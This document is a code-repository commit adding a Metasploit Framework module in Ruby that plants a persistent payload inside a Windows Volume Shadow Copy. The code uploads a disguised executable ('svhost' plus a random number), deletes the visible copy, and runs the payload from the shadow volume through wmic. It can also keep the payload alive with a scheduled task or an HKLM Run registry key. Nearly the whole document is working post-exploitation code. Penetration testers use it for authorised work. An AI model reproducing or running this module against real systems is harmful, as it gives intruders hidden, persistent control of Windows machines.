Land #2503, @MrXors's local exploit using VSS
commit
f60b29c7a6
|
@ -0,0 +1,201 @@
|
|||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ShadowCopy
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => "Persistent Payload in Windows Volume Shadow Copy",
|
||||
'Description' => %q{
|
||||
This module will attempt to create a persistent payload in a new volume shadow copy. This is
|
||||
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
|
||||
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
|
||||
option, the user should need password in order to start session on the target machine.
|
||||
},
|
||||
'Author' => ['MrXors <Mr.Xors[at]gmail.com>'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [ [ 'Windows 7', {} ] ],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ],
|
||||
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
|
||||
],
|
||||
'DisclosureDate'=> "Oct 21 2011"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
|
||||
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
|
||||
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
|
||||
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
|
||||
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
|
||||
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
@clean_up = ""
|
||||
|
||||
print_status("Checking requirements...")
|
||||
|
||||
os = sysinfo['OS']
|
||||
unless os =~ /Windows 7/
|
||||
print_error("This module has been tested only on Windows 7")
|
||||
return
|
||||
end
|
||||
|
||||
unless is_admin?
|
||||
print_error("This module requires admin privs to run")
|
||||
return
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_error("This module requires UAC to be bypassed first")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Starting Volume Shadow Service...")
|
||||
unless start_vss
|
||||
print_error("Unable to start the Volume Shadow Service")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Uploading payload...")
|
||||
remote_file = upload(datastore['RPATH'])
|
||||
|
||||
print_status("Creating Shadow Volume Copy...")
|
||||
unless volume_shadow_copy
|
||||
fail_with(Failure::Unknown, "Failed to create a new shadow copy")
|
||||
end
|
||||
|
||||
print_status("Finding the Shadow Copy Volume...")
|
||||
volume_data_id = []
|
||||
cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\""
|
||||
output = cmd_exec(cmd)
|
||||
output.each_line do |line|
|
||||
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}")
|
||||
volume_data_id = "#{cmd_regex}"
|
||||
end
|
||||
|
||||
print_status("Deleting malware...")
|
||||
file_rm(remote_file)
|
||||
|
||||
if datastore["EXECUTE"]
|
||||
print_status("Executing #{remote_file}...")
|
||||
execute(volume_data_id, remote_file)
|
||||
end
|
||||
|
||||
if datastore["SCHTASK"]
|
||||
print_status("Creating Scheduled Task...")
|
||||
schtasks(volume_data_id, remote_file)
|
||||
end
|
||||
|
||||
if datastore["RUNKEY"]
|
||||
print_status("Installing as autorun in the registry...")
|
||||
install_registry(volume_data_id, remote_file)
|
||||
end
|
||||
|
||||
unless @clean_up.empty?
|
||||
log_file
|
||||
end
|
||||
end
|
||||
|
||||
def upload(trg_loc="")
|
||||
if trg_loc.nil? or trg_loc.empty?
|
||||
location = "\\Windows\\Temp"
|
||||
else
|
||||
location = trg_loc
|
||||
end
|
||||
|
||||
file_name = "svhost#{rand(100)}.exe"
|
||||
file_on_target = "#{location}\\#{file_name}"
|
||||
|
||||
exe = generate_payload_exe
|
||||
|
||||
begin
|
||||
write_file("#{file_on_target}", exe)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
end
|
||||
|
||||
return file_on_target
|
||||
end
|
||||
|
||||
def volume_shadow_copy
|
||||
begin
|
||||
id = create_shadowcopy(datastore['VOLUME'])
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
end
|
||||
|
||||
if id
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def execute(volume_id, exe_path)
|
||||
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
||||
cmd_exec(run_cmd)
|
||||
end
|
||||
|
||||
def schtasks(volume_id, exe_path)
|
||||
sch_name = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\""
|
||||
sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}"
|
||||
cmd_exec(sch_cmd)
|
||||
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
|
||||
end
|
||||
|
||||
def install_registry(volume_id, exe_path)
|
||||
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
|
||||
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
|
||||
res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ")
|
||||
if res
|
||||
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
|
||||
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
|
||||
else
|
||||
print_error("Error: failed to open the registry key for writing")
|
||||
end
|
||||
end
|
||||
|
||||
def clean_data
|
||||
host = session.sys.config.sysinfo["Computer"]
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
|
||||
::FileUtils.mkdir_p(logs)
|
||||
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
||||
return logfile
|
||||
end
|
||||
|
||||
def log_file
|
||||
clean_rc = clean_data()
|
||||
file_local_write(clean_rc, @clean_up)
|
||||
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue